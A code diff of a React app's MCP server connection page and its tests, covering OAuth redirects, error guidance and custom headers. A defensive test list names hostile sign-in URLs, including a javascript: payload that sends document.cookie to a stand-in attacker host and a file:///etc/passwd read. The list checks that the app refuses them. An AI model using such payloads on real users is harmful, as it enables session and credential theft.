mockSearch.value = "source=notion"; listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] }); @@ -566,7 +628,7 @@ describe("AppsConnect — Connect with a link (M4 frame)", () => { expect(connectAppMock).toHaveBeenCalledTimes(1); const [, input] = connectAppMock.mock.calls[0]; - expect(input).toMatchObject({ link: "https://www.example.com/actions", name: "example.com" }); + expect(input).toMatchObject({ link: "https://www.example.com/actions", name: "example.com/actions" }); expect(input.credentialValues).toBeUndefined(); }); @@ -590,7 +652,7 @@ describe("AppsConnect — Connect with a link (M4 frame)", () => { container.querySelectorAll("input"), ).filter((i) => i.type === "password"); expect(passwordInputs).toHaveLength(1); - expect(container.textContent).toContain("Your key is stored securely."); + expect(container.textContent).toContain("Stored securely."); await act(async () => setInputValue(passwordInputs[0], "secret-key")); await flushReact(); @@ -622,7 +684,7 @@ describe("AppsConnect — Connect with a link (M4 frame)", () => { }); await flushReact(); - expect(container.textContent).toContain("Connect with a link"); + expect(container.textContent).toContain("Connect your own MCP server"); expect(container.textContent).toContain(zapierUrl); expect(nameInputFrom(container)?.value).toBe("Zapier"); expect(container.querySelector('input[type="password"]')).toBeNull(); @@ -664,7 +726,7 @@ describe("AppsConnect — Connect with a link (M4 frame)", () => { }); await render(); - expect(container.textContent).toContain("Step 1 of 4"); + expect(container.textContent).toContain("Step 1 of 3"); expect(container.textContent).toContain("Connect Zapier"); expect(container.textContent).toContain("Add MCP URL"); expect(container.querySelector('img[src="https://example.com/zapier.png"]')).toBeTruthy(); @@ -685,15 +747,7 @@ describe("AppsConnect — Connect with a link (M4 frame)", () => { expect(connectAppMock).toHaveBeenCalledTimes(1); expect(connectAppMock.mock.calls[0]?.[1]).toMatchObject({ link: zapierUrl, name: "Zapier" }); - expect(container.textContent).toContain("Step 2 of 4"); - expect(container.querySelector('img[src="https://example.com/zapier.png"]')).toBeTruthy(); - - await act(async () => { - buttonByText("Continue with 1 action on")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); - }); - await flushReact(); - - expect(container.textContent).toContain("Step 3 of 4"); + expect(container.textContent).toContain("Step 2 of 3"); expect(container.querySelector('img[src="https://example.com/zapier.png"]')).toBeTruthy(); await act(async () => { @@ -731,7 +785,7 @@ describe("AppsConnect — Connect with a link (M4 frame)", () => { }); await flushReact(); - expect(container.textContent).toContain("Step 4 of 4"); + expect(container.textContent).toContain("Step 3 of 3"); expect(container.textContent).toContain("Install Zapier tools?"); expect(container.textContent).toContain("Not yet"); @@ -804,7 +858,7 @@ describe("AppsConnect — Connect with a link (M4 frame)", () => { "link=https%3A%2F%2Fwww.example.com%2Factions&name=Bla&applicationId=app-77"; await render(); - expect(container.textContent).toContain("Connect with a link"); + expect(container.textContent).toContain("Connect your own MCP server"); expect(container.textContent).toContain("https://www.example.com/actions"); const nameInput = Array.from(container.querySelectorAll("input")).find( (i) => i.getAttribute("placeholder") === "My app", @@ -920,7 +974,7 @@ describe("AppsConnect — Connect with a link (M4 frame)", () => { await flushReact(); expect(connectAppMock).toHaveBeenCalledTimes(1); - expect(mockNavigate).toHaveBeenCalledWith("/apps/connect?byo=1&appKey=zapier&stage=actions"); + expect(mockNavigate).toHaveBeenCalledWith("/apps/connect?byo=1&appKey=zapier&stage=access"); const [, input] = connectAppMock.mock.calls[0]; expect(input).toMatchObject({ galleryKey: "zapier", name: "Zapier" }); }); @@ -1015,3 +1069,443 @@ describe("AppsConnect — Connect with a link (M4 frame)", () => { }); }); }); + +/** + * PAP-17087 — the BYO URL card is now the guided universal flow. What matters is + * that the simple path stayed simple, that each failure mode names the thing the + * operator has to change, and that a pasted endpoint that needs sign-in actually + * gets there instead of a "coming soon" toast. + */ +describe("AppsConnect — guided generic MCP flow (PAP-17087)", () => { + let container: HTMLDivElement; + + beforeEach(() => { + mockSearch.value = ""; + mockParams.appKey = undefined; + container = document.createElement("div"); + document.body.appendChild(container); + listGalleryMock.mockResolvedValue({ apps: [ZAPIER] }); + listApplicationsMock.mockResolvedValue({ applications: [] }); + listConnectionsMock.mockResolvedValue({ connections: [] }); + listAgentsMock.mockResolvedValue([]); + finishAppMock.mockResolvedValue({}); + putConnectionInstallsMock.mockResolvedValue({ connectionId: "conn-1", installs: [] }); + startOAuthMock.mockResolvedValue({ + connectionId: "conn-1", + provider: "mcp_example_test", + authorizationUrl: "https://auth.example.test/authorize?state=abc", + expiresAt: "2099-01-01T00:00:00.000Z", + }); + connectAppMock.mockResolvedValue({ + connectionId: "conn-1", + application: { id: "app-1", name: "mcp.example.test" }, + actions: { readOnly: [], canMakeChanges: [] }, + catalog: [], + suggestedDefaults: {}, + }); + }); + + afterEach(() => { + document.body.removeChild(container); + document.body.innerHTML = ""; + vi.clearAllMocks(); + }); + + async function render() { + const root = createRoot(container); + const client = new QueryClient({ defaultOptions: { queries: { retry: false } } }); + await act(async () => { + root.render( + + + , + ); + }); + await flushReact(); + await flushReact(); + return root; + } + + async function openAdvanced() { + await act(async () => { + buttonContaining("Advanced authentication")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); + }); + await flushReact(); + } + + // Production branches on `error instanceof ApiError`, so the double has to be a + // real one — a look-alike would silently fall through to the generic message and + // make these tests pass for the wrong reason. + function apiError(status: number, code: string, message: string) { + return new ApiError(message, status, { error: message, details: { code } }); + } + + it("defaults the connection name from host, port, and path", async () => { + await render(); + await gotoLinkFrame(container, "http://127.0.0.1:47399/mcp"); + + expect(container.querySelector("#generic-mcp-name")?.value) + .toBe("127.0.0.1:47399/mcp"); + }); + + it("keeps the endpoint host visible while skipping action review", async () => { + await render(); + await gotoLinkFrame(container, "https://mcp.example.test/mcp"); + + expect(container.textContent).toContain("Unverified server"); + expect(container.textContent).toContain("mcp.example.test"); + + connectAppMock.mockResolvedValue({ + connectionId: "conn-1", + application: { id: "app-1", name: "mcp.example.test" }, + actions: { + readOnly: [{ + catalogEntryId: "cat-read", + toolName: "list_things", + title: "List things", + description: null, + riskLevel: "read", + isReadOnly: true, + isWrite: false, + isDestructive: false, + status: "active", + }, { + catalogEntryId: "cat-search", + toolName: "search_things", + title: "Search things", + description: null, + riskLevel: "read", + isReadOnly: true, + isWrite: false, + isDestructive: false, + status: "active", + }], + canMakeChanges: [{ + catalogEntryId: "cat-delete", + toolName: "qa_delete_widget", + title: null, + description: null, + riskLevel: "destructive", + isReadOnly: false, + isWrite: true, + isDestructive: true, + status: "active", + }], + }, + catalog: [], + suggestedDefaults: { askFirstRiskLevels: ["write", "destructive"] }, + }); + await act(async () => { + buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); + }); + await flushReact(); + + expect(container.textContent).toContain("Who can use mcp.example.test?"); + expect(container.textContent).toContain("Unverified server"); + expect(container.textContent).toContain("mcp.example.test"); + expect(container.textContent).not.toContain("List things"); + expect(container.querySelectorAll('[role="switch"]')).toHaveLength(0); + }); + + it("offers a curated setup as a convenience without leaving the generic flow", async () => { + await render(); + await gotoLinkFrame(container, "https://mcp.zapier.com/api/v1/connect?token=t"); + + // Both routes are present: the branded shortcut and the generic form itself. + expect(container.textContent).toContain("Paperclip has a guided setup for Zapier."); + expect(container.textContent).toContain("Connect your own MCP server"); + expect(buttonByText("Check link")).toBeTruthy(); + }); + + it("explains a private-network address instead of blaming the key", async () => { + connectAppMock.mockRejectedValue( + apiError(400, "remote_http_private_endpoint", "Remote MCP connection URL cannot target private or reserved network addresses"), + ); + await render(); + await gotoLinkFrame(container, "https://mcp.example.test/mcp"); + await act(async () => { + buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); + }); + await flushReact(); + await flushReact(); + + expect(container.textContent).toContain("That address is inside a private network"); + // Still on the setup screen with the address in hand, not bounced back. + expect(buttonByText("Check link")).toBeTruthy(); + }); + + it("explains an unreachable host", async () => { + connectAppMock.mockRejectedValue(apiError(400, "remote_http_dns_failed", "hostname could not be resolved")); + await render(); + await gotoLinkFrame(container, "https://mcp.example.test/mcp"); + await act(async () => { + buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); + }); + await flushReact(); + await flushReact(); + + expect(container.textContent).toContain("We couldn't find that host"); + }); + + it("uses deployment guidance without rendering the server env-var message", async () => { + connectAppMock.mockRejectedValue(apiError( + 422, + "oauth_redirect_origin_unsupported", + "OAuth connections require PAPERCLIP_PUBLIC_URL or an auth public base URL", + )); + await render(); + await gotoLinkFrame(container, "https://mcp.example.test/mcp"); + await act(async () => { + buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); + }); + await flushReact(); + await flushReact(); + + expect(container.textContent).toContain("This Paperclip needs a public HTTPS address first"); + expect(container.textContent).not.toContain("PAPERCLIP_PUBLIC_URL"); + }); + + it("renders a name conflict as name guidance and focuses the Name field", async () => { + connectAppMock.mockRejectedValue(apiError( + 409, + "tool_access_name_conflict", + "A tool access record with that name already exists", + )); + await render(); + await gotoLinkFrame(container, "https://mcp.example.test/mcp"); + await act(async () => { + buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); + }); + await flushReact(); + await flushReact(); + + const nameInput = container.querySelector("#generic-mcp-name"); + expect(container.textContent).toContain("That name is taken"); + expect(document.activeElement).toBe(nameInput); + }); + + it("opens advanced authentication when the server wants a credential we can't discover", async () => { + connectAppMock.mockRejectedValue(apiError(502, "oauth_challenge", "This app needs you to sign in.")); + await render(); + await gotoLinkFrame(container, "https://mcp.example.test/mcp"); + await act(async () => { + buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); + }); + await flushReact(); + await flushReact(); + + expect(container.textContent).toContain("This server wants a credential"); + // The advanced section is now open, so the fields to fix it are on screen. + expect(container.textContent).toContain("Custom headers"); + expect(container.textContent).not.toContain("coming soon"); + }); + + it("sends the operator to sign-in when the endpoint needs browser authorization", async () => { + connectAppMock.mockResolvedValue({ + connectionId: "conn-1", + application: { id: "app-1", name: "mcp.example.test" }, + actions: { readOnly: [], canMakeChanges: [] }, + catalog: [], + suggestedDefaults: {}, + auth: { kind: "oauth", startUrl: "https://auth.example.test/authorize?state=abc" }, + }); + await render(); + await gotoLinkFrame(container, "https://mcp.example.test/mcp"); + await act(async () => { + buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); + }); + await flushReact(); + + expect(navigateTopLevelMock).toHaveBeenCalledWith("https://auth.example.test/authorize?state=abc"); + // Residual risk of a real-but-hostile authorization page: name the host the + // operator is being handed to (PAP-17099). + expect(container.textContent).toContain("auth.example.test"); + }); + + /** + * PAP-17099 — a generic MCP server picks its own authorization endpoint, and + * `window.location.assign` is where an unsafe scheme would actually execute. + * The board refuses independently of the API response. + */ + describe("unsafe authorization urls", () => { + const UNSAFE = [ + ["javascript:", "javascript:fetch('https://evil.test/'+document.cookie)"], + ["data:", "data:text/html,"], + ["file:", "file:///etc/passwd"], + ["plaintext http", "http://evil.test/authorize"], + ["credentials", "https://auth.example.test@evil.test/authorize"], + ] as const; + + it.each(UNSAFE)("never opens a %s start url from connect", async (_label, startUrl) => { + connectAppMock.mockResolvedValue({ + connectionId: "conn-1", + application: { id: "app-1", name: "mcp.example.test" }, + actions: { readOnly: [], canMakeChanges: [] }, + catalog: [], + suggestedDefaults: {}, + auth: { kind: "oauth", startUrl }, + }); + await render(); + await gotoLinkFrame(container, "https://mcp.example.test/mcp"); + await act(async () => { + buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); + }); + await flushReact(); + await flushReact(); + + expect(navigateTopLevelMock).not.toHaveBeenCalled(); + expect(container.textContent).toContain("couldn’t connect"); + // The refusal is explained without echoing the hostile address on screen. + expect(container.textContent).not.toContain(startUrl); + expect(container.textContent).toMatch(/sign-in address/); + }); + + it.each(UNSAFE)("never opens a %s authorization url from start sign-in", async (_label, authorizationUrl) => { + connectAppMock.mockResolvedValue({ + connectionId: "conn-1", + application: { id: "app-1", name: "mcp.example.test" }, + actions: { readOnly: [], canMakeChanges: [] }, + catalog: [], + suggestedDefaults: {}, + auth: { kind: "oauth", startUrl: null }, + }); + startOAuthMock.mockResolvedValue({ + connectionId: "conn-1", + provider: "mcp_example_test", + authorizationUrl, + expiresAt: "2099-01-01T00:00:00.000Z", + }); + await render(); + await gotoLinkFrame(container, "https://mcp.example.test/mcp"); + await act(async () => { + buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); + }); + await flushReact(); + await flushReact(); + + expect(startOAuthMock).toHaveBeenCalledWith("conn-1"); + expect(navigateTopLevelMock).not.toHaveBeenCalled(); + expect(container.textContent).toContain("couldn’t connect"); + expect(container.textContent).not.toContain(authorizationUrl); + // Retry is still offered rather than a dead end. + expect(buttonByText("Try again")).toBeTruthy(); + }); + }); + + it("asks for a preregistered client rather than losing the draft", async () => { + connectAppMock.mockResolvedValue({ + connectionId: "conn-1", + application: { id: "app-1", name: "mcp.example.test" }, + actions: { readOnly: [], canMakeChanges: [] }, + catalog: [], + suggestedDefaults: {}, + auth: { kind: "oauth", startUrl: null, manualClientRequired: true }, + }); + await render(); + await gotoLinkFrame(container, "https://mcp.example.test/mcp"); + await act(async () => { + buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); + }); + await flushReact(); + await flushReact(); + + expect(container.textContent).toContain("This server needs sign-in details you create yourself"); + expect(container.textContent).toContain("Client ID"); + expect(container.textContent).toContain("Client secret"); + // No redirect happened: there is nothing to redirect to yet. + expect(navigateTopLevelMock).not.toHaveBeenCalled(); + }); + + it("submits custom headers as secret-backed credential values", async () => { + await render(); + await gotoLinkFrame(container, "https://mcp.example.test/mcp"); + await openAdvanced(); + await act(async () => { + buttonByText("Custom headers")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); + }); + await flushReact(); + + const nameInput = Array.from(container.querySelectorAll("input")) + .find((input) => input.getAttribute("aria-label") === "Header name")!; + await act(async () => setInputValue(nameInput, "X-Api-Key")); + await flushReact(); + const valueInput = Array.from(container.querySelectorAll("input")) + .find((input) => input.type === "password")!; + await act(async () => setInputValue(valueInput, "phx_secret")); + await flushReact(); + + await act(async () => { + buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); + }); + await flushReact(); + + expect(connectAppMock).toHaveBeenCalledTimes(1); + const [, input] = connectAppMock.mock.calls[0]; + expect(input).toMatchObject({ + link: "https://mcp.example.test/mcp", + authMode: "custom_headers", + credentialValues: { "headers.X-Api-Key": "phx_secret" }, + }); + }); + + it("blocks a header Paperclip refuses to send before making a request", async () => { + await render(); + await gotoLinkFrame(container, "https://mcp.example.test/mcp"); + await openAdvanced(); + await act(async () => { + buttonByText("Custom headers")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); + }); + await flushReact(); + + const nameInput = Array.from(container.querySelectorAll("input")) + .find((input) => input.getAttribute("aria-label") === "Header name")!; + await act(async () => setInputValue(nameInput, "Host")); + await flushReact(); + const valueInput = Array.from(container.querySelectorAll("input")) + .find((input) => input.type === "password")!; + await act(async () => setInputValue(valueInput, "evil.example")); + await flushReact(); + + expect(container.textContent).toContain('Paperclip manages the "Host" header'); + expect(buttonByText("Check link")?.disabled).toBe(true); + expect(connectAppMock).not.toHaveBeenCalled(); + }); + + it("sends preregistered client credentials when the operator supplies them", async () => { + await render(); + await gotoLinkFrame(container, "https://mcp.example.test/mcp"); + await openAdvanced(); + await act(async () => { + buttonByText("Browser sign-in")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); + }); + await flushReact(); + + const clientIdInput = container.querySelector("#generic-mcp-client-id")!; + await act(async () => setInputValue(clientIdInput, "operator-client")); + await flushReact(); + const clientSecretInput = container.querySelector("#generic-mcp-client-secret")!; + await act(async () => setInputValue(clientSecretInput, "operator-secret")); + await flushReact(); + + await act(async () => { + buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); + }); + await flushReact(); + + const [, input] = connectAppMock.mock.calls[0]; + expect(input).toMatchObject({ + authMode: "oauth", + oauthClient: { clientId: "operator-client", clientSecret: "operator-secret" }, + }); + }); + + it("keeps protocol jargon off the consumer path", async () => { + await render(); + await gotoLinkFrame(container, "https://mcp.example.test/mcp"); + await openAdvanced(); + + for (const jargon of ["DCR", "Dynamic Client Registration", "CIMD", "Client ID Metadata", "RFC", "PKCE"]) { + expect(container.textContent, jargon).not.toContain(jargon); + } + }); +}); diff --git a/ui/src/pages/apps/AppsConnect.tsx b/ui/src/pages/apps/AppsConnect.tsx index e05312b62b..1fbe1b2c07 100644 --- a/ui/src/pages/apps/AppsConnect.tsx +++ b/ui/src/pages/apps/AppsConnect.tsx @@ -3,6 +3,7 @@ import { useMutation, useQuery } from "@tanstack/react-query"; import { ArrowUpRight, Check, + ChevronDown, ChevronRight, Copy, ClipboardPaste, @@ -16,12 +17,13 @@ import type { LucideIcon } from "lucide-react"; import type { Agent, AppDefinition, + ConnectionMethodDef, ConnectToolAppResult, + FieldDef, ToolApplication, ToolConnection, - ToolAppConnectionActionSummary, } from "@paperclipai/shared"; -import { credentialConfigPath, getAppDefinitionForUrl, getAvailableConnectionMethod } from "@paperclipai/shared"; +import { credentialConfigPath, getAppDefinitionForUrl, getAvailableConnectionMethod, getAvailableConnectionMethods } from "@paperclipai/shared"; import { useNavigate, useParams, useSearchParams } from "@/lib/router"; import { useCompany } from "@/context/CompanyContext"; import { useBreadcrumbs } from "@/context/BreadcrumbContext"; @@ -36,24 +38,39 @@ import { AgentIcon } from "@/components/AgentIconPicker"; import { AgentMultiSelect } from "@/components/AgentMultiSelect"; import { InlineBanner } from "@/components/InlineBanner"; import { Button } from "@/components/ui/button"; +import { Collapsible, CollapsibleContent, CollapsibleTrigger } from "@/components/ui/collapsible"; import { Input } from "@/components/ui/input"; import { Textarea } from "@/components/ui/textarea"; import { ToggleSwitch } from "@/components/ui/toggle-switch"; import { Skeleton } from "@/components/ui/skeleton"; import { cn } from "@/lib/utils"; import { copyTextToClipboard } from "@/lib/clipboard"; +import { resolveAuthorizationTarget } from "@/lib/authorizationUrl"; import { navigateTopLevel } from "@/lib/browserNavigation"; import { AppLogo } from "./AppLogo"; +import { UnverifiedServerBadge } from "./UnverifiedServerBadge"; import { appSourceConnectHref, isMcpDirectOAuthConnectSlug } from "./app-connect-policy"; import { parseGoogleSheetIds } from "./google-sheets"; +import { + canSubmitGenericConnect, + customHeaderError, + defaultGenericMcpName, + endpointHost, + genericConnectGuidance, + genericConnectPayload, + newCustomHeaderRow, + type CustomHeaderRow, + type GenericConnectDraft, + type GenericConnectGuidance, + type GenericMcpAuthMode, +} from "./generic-mcp-connect"; import { autoExtendNotice, INSTALL_ALL_WARNING, installInfoNotice, installPayload } from "@/lib/tool-installs"; -type Step = "gallery" | "key" | "actions" | "who" | "install" | "success"; +type Step = "gallery" | "key" | "who" | "install" | "success"; export type OAuthConnectPhase = "entry" | "starting" | "redirecting" | "error"; const ROUTE_STAGE_BY_STEP: Partial> = { key: "setup", - actions: "actions", who: "access", install: "install", success: "complete", @@ -66,33 +83,34 @@ function appConnectHref(appKey: string, step: Step): string { } type AppAccessSelection = "all_agents" | { agentIds: string[] }; type InstallMode = "none" | "specific" | "all"; -const LINK_CREDENTIAL_CONFIG_PATH = "credentials.authorization"; -const STEP_LABELS = ["Pick app", "Add your key", "Choose actions", "Choose access", "Install tools"]; +const STEP_LABELS = ["Pick app", "Add your key", "Choose access", "Install tools"]; const STEP_INDEX: Record, number> = { gallery: 0, key: 1, - actions: 2, - who: 3, - install: 4, -}; -const ZAPIER_STEP_INDEX: Record, number> = { - key: 0, - actions: 1, who: 2, install: 3, }; -const ZAPIER_STEP_LABELS = ["Add MCP URL", "Choose actions", "Choose access", "Install tools"]; - -function askFirstLevelsFrom(result: ConnectToolAppResult): string[] { - const raw = (result.suggestedDefaults as { askFirstRiskLevels?: unknown })?.askFirstRiskLevels; - return Array.isArray(raw) ? raw.filter((x): x is string => typeof x === "string") : ["write", "destructive"]; -} +const ZAPIER_STEP_INDEX: Record, number> = { + key: 0, + who: 1, + install: 2, +}; +const ZAPIER_STEP_LABELS = ["Add MCP URL", "Choose access", "Install tools"]; function isGoogleSheetsEntry(entry: AppDefinition | null): boolean { return entry?.slug === "google-sheets"; } +function defaultMethodConfig(method: ConnectionMethodDef | null): Record { + if (!method) return {}; + return Object.fromEntries( + [...(method.tenantFields ?? []), ...(method.extensionFields ?? [])] + .filter((field) => field.defaultValue !== undefined) + .map((field) => [field.key, field.defaultValue!]), + ); +} + function appSourceSlug(application: ToolApplication): string | null { const metadata = application.metadata; if (!metadata) return null; @@ -164,7 +182,18 @@ export function AppsConnect() { const [linkName, setLinkName] = useState(prefill.name || (zapierSource ? "Zapier" : "")); const [linkNeedsKey, setLinkNeedsKey] = useState(false); const [linkKey, setLinkKey] = useState(""); + // Generic ("connect your own MCP server") flow state. `authMode: auto` is the + // simple path: Paperclip probes the endpoint and branches on what it finds. + const [linkAuthMode, setLinkAuthMode] = useState("auto"); + const [linkHeaders, setLinkHeaders] = useState(() => [newCustomHeaderRow()]); + const [linkOAuthClientId, setLinkOAuthClientId] = useState(""); + const [linkOAuthClientSecret, setLinkOAuthClientSecret] = useState(""); + const [linkAdvancedOpen, setLinkAdvancedOpen] = useState(false); + const [linkGuidance, setLinkGuidance] = useState(null); + const [genericOAuthPending, setGenericOAuthPending] = useState(false); const [credentials, setCredentials] = useState>({}); + const [connectionMethodKey, setConnectionMethodKey] = useState(""); + const [configValues, setConfigValues] = useState>({}); const [googleSheetsLinks, setGoogleSheetsLinks] = useState(""); const [googleSheetsError, setGoogleSheetsError] = useState(null); const [connectResult, setConnectResult] = useState(null); @@ -175,9 +204,55 @@ export function AppsConnect() { const [installAgentIds, setInstallAgentIds] = useState>(new Set()); const [oauthPhase, setOAuthPhase] = useState("entry"); const [oauthError, setOAuthError] = useState(null); + /** Host of the page the operator is about to be sent to, shown while redirecting. */ + const [authorizationHost, setAuthorizationHost] = useState(null); const directOAuthStartedRef = useRef(false); const directOAuthRetryingRef = useRef(false); + const resetGenericAuthState = () => { + setLinkAuthMode("auto"); + setLinkHeaders([newCustomHeaderRow()]); + setLinkOAuthClientId(""); + setLinkOAuthClientSecret(""); + setLinkAdvancedOpen(false); + setLinkGuidance(null); + setGenericOAuthPending(false); + }; + + /** + * Switch to a curated app's branded setup. Reached from the gallery grid and, as + * a convenience, from the guided generic flow when the pasted endpoint matches a + * definition — the generic path stays available either way. + */ + const useMatchedGalleryEntry = (picked: AppDefinition) => { + if ( + getAvailableConnectionMethod(picked)?.auth === "oauth" && + isMcpDirectOAuthConnectSlug(picked.slug) + ) { + navigate(appSourceConnectHref(picked.slug)); + return; + } + setEntry(picked); + setGalleryName(picked.name); + setLinkUrl(""); + setLinkName(""); + setLinkNeedsKey(false); + setLinkKey(""); + resetGenericAuthState(); + setCredentials({}); + const methods = getAvailableConnectionMethods(picked); + const initialMethod = methods.length === 1 ? methods[0]! : null; + setConnectionMethodKey(initialMethod?.key ?? ""); + setConfigValues(defaultMethodConfig(initialMethod)); + setGoogleSheetsLinks(""); + setGoogleSheetsError(null); + setConnectResult(null); + setInstallMode("none"); + setInstallAgentIds(new Set()); + setStep("key"); + navigate(appConnectHref(picked.slug, "key")); + }; + const openGallery = () => { setEntry(null); setGalleryName(""); @@ -185,7 +260,10 @@ export function AppsConnect() { setLinkName(""); setLinkNeedsKey(false); setLinkKey(""); + resetGenericAuthState(); setCredentials({}); + setConnectionMethodKey(""); + setConfigValues({}); setGoogleSheetsLinks(""); setGoogleSheetsError(null); setConnectResult(null); @@ -233,6 +311,13 @@ export function AppsConnect() { [applicationsQuery.data, connectionsQuery.data, createNewConnection, directOAuthSource, prefill.applicationId], ); + // A curated definition covering the pasted endpoint is offered as a branded + // convenience only; the generic flow remains the default and stays complete. + const linkMatchedEntry = useMemo( + () => (linkUrl && !entry ? getAppDefinitionForUrl(linkUrl, galleryQuery.data?.apps ?? []) : null), + [entry, galleryQuery.data, linkUrl], + ); + const directOAuthEntry = entry && getAvailableConnectionMethod(entry)?.auth === "oauth" && isMcpDirectOAuthConnectSlug(entry.slug) @@ -247,8 +332,17 @@ export function AppsConnect() { const oauthStartMutation = useMutation({ mutationFn: (connectionId: string) => toolsApi.startOAuth(connectionId), onSuccess: ({ authorizationUrl }) => { + // The endpoint chose this address, so it is checked here too — this is the + // line where an unsafe scheme would actually run (PAP-17099). + const target = resolveAuthorizationTarget(authorizationUrl); + if (!target.ok) { + setOAuthPhase("error"); + setOAuthError(target.message); + return; + } + setAuthorizationHost(target.host); setOAuthPhase("redirecting"); - navigateTopLevel(authorizationUrl); + navigateTopLevel(target.url); }, onError: (error) => { const details = error instanceof ApiError && error.body && typeof error.body === "object" @@ -274,42 +368,73 @@ export function AppsConnect() { const trimmedGalleryName = galleryName.trim(); return toolsApi.connectApp(selectedCompanyId!, { galleryKey: connectEntry.slug, + ...(connectionMethodKey ? { connectionMethodKey } : {}), name: trimmedGalleryName || connectEntry.name, credentialValues: credentials, - configValues: isGoogleSheetsEntry(connectEntry) ? { allowedSpreadsheetIds: sheetIds } : undefined, + configValues: isGoogleSheetsEntry(connectEntry) + ? { allowedSpreadsheetIds: sheetIds } + : Object.keys(configValues).length > 0 + ? configValues + : undefined, applicationId: prefill.applicationId, }); } - const trimmedKey = linkNeedsKey ? linkKey.trim() : ""; - const trimmedName = linkName.trim(); return toolsApi.connectApp(selectedCompanyId!, { - link: linkUrl, - name: trimmedName || undefined, - credentialValues: trimmedKey ? { [LINK_CREDENTIAL_CONFIG_PATH]: trimmedKey } : undefined, + ...genericConnectPayload({ + link: linkUrl, + name: linkName, + authMode: linkAuthMode, + needsKey: linkNeedsKey, + keyValue: linkKey, + headers: linkHeaders, + oauthClientId: linkOAuthClientId, + oauthClientSecret: linkOAuthClientSecret, + }), applicationId: prefill.applicationId, }); }, onSuccess: (result) => { if (result.auth?.kind === "oauth") { setConnectResult(result); + // Discovery worked but this authorization server insists on a client the + // operator registers themselves. Keep the draft and ask for it in place + // rather than sending them back to the start. + if (result.auth.manualClientRequired) { + setLinkGuidance(genericConnectGuidance("oauth_manual_client_required", null)); + setLinkAuthMode("oauth"); + setLinkAdvancedOpen(true); + setGenericOAuthPending(false); + return; + } const startUrl = result.auth.startUrl?.trim(); if (!startUrl) { setOAuthPhase("starting"); + setGenericOAuthPending(true); startOAuth(result.connectionId); return; } + const target = resolveAuthorizationTarget(startUrl); + if (!target.ok) { + setGenericOAuthPending(true); + setOAuthPhase("error"); + setOAuthError(target.message); + return; + } + setAuthorizationHost(target.host); setOAuthPhase("redirecting"); - navigateTopLevel(startUrl); + setGenericOAuthPending(true); + navigateTopLevel(target.url); return; } + setLinkGuidance(null); setConnectResult(result); const defaults: Record = {}; for (const a of result.actions.readOnly) defaults[a.catalogEntryId] = true; - for (const a of result.actions.canMakeChanges) defaults[a.catalogEntryId] = false; + for (const a of result.actions.canMakeChanges) defaults[a.catalogEntryId] = true; setEnabled(defaults); setInstallMode("none"); setInstallAgentIds(new Set()); - setAppStep("actions"); + setAppStep("who"); }, onError: (error) => { const details = error instanceof ApiError && error.body && typeof error.body === "object" @@ -326,14 +451,20 @@ export function AppsConnect() { ); return; } - const oauthRequired = details?.code === "oauth_challenge"; + // The generic URL path explains the specific corrective action inline, + // beside the fields the operator has to change. A toast can't do that, and + // for a pasted address "check your key" is usually the wrong advice. + if (!entry && linkUrl) { + const code = typeof details?.code === "string" ? details.code : null; + const guidance = genericConnectGuidance(code, error instanceof Error ? error.message : null); + setLinkGuidance(guidance); + setGenericOAuthPending(false); + if (guidance.focus === "credentials") setLinkAdvancedOpen(true); + return; + } pushToast({ - title: oauthRequired ? "Sign-in required" : "Couldn’t connect", - body: oauthRequired - ? "This app needs you to sign in - coming soon." - : error instanceof Error - ? error.message - : "Please check your key and try again.", + title: "Couldn’t connect", + body: error instanceof Error ? error.message : "Please check your key and try again.", tone: "error", }); }, @@ -345,8 +476,9 @@ export function AppsConnect() { const requestedEntry = galleryQuery.data.apps.find((candidate) => candidate.slug === requestedAppKey); const method = requestedEntry ? getAvailableConnectionMethod(requestedEntry) : null; + const methods = requestedEntry ? getAvailableConnectionMethods(requestedEntry) : []; const directOAuth = method?.auth === "oauth" && isMcpDirectOAuthConnectSlug(requestedEntry?.slug); - const unsupportedOAuth = method?.auth === "oauth" && !directOAuth; + const unsupportedOAuth = methods.length === 1 && method?.auth === "oauth" && !directOAuth; if (!requestedEntry || unsupportedOAuth || requestedEntry.availability?.available === false) { setEntry(null); setStep("gallery"); @@ -362,6 +494,10 @@ export function AppsConnect() { setLinkNeedsKey(false); setLinkKey(""); setCredentials({}); + const methods = getAvailableConnectionMethods(requestedEntry); + const initialMethod = methods.length === 1 ? methods[0]! : null; + setConnectionMethodKey(initialMethod?.key ?? ""); + setConfigValues(defaultMethodConfig(initialMethod)); setGoogleSheetsLinks(""); setGoogleSheetsError(null); setConnectResult(null); @@ -408,19 +544,14 @@ export function AppsConnect() { const finishMutation = useMutation({ mutationFn: async () => { - const askFirstLevels = connectResult ? askFirstLevelsFrom(connectResult) : []; - const changeActions = connectResult?.actions.canMakeChanges ?? []; const enabledIds = Object.entries(enabled) .filter(([, on]) => on) .map(([id]) => id); - const askFirstIds = changeActions - .filter((a) => enabled[a.catalogEntryId] && askFirstLevels.includes(a.riskLevel)) - .map((a) => a.catalogEntryId); const selection: AppAccessSelection = access === "all" ? "all_agents" : { agentIds: Array.from(agentIds) }; const result = await toolsApi.finishApp(selectedCompanyId!, connectResult!.connectionId, { enabledCatalogEntryIds: enabledIds, - askFirstCatalogEntryIds: askFirstIds, + askFirstCatalogEntryIds: [], access: selection, }); const installState = installMode === "all" @@ -452,6 +583,7 @@ export function AppsConnect() { entry={directOAuthEntry} phase={oauthPhase} error={oauthError} + authorizationHost={authorizationHost} 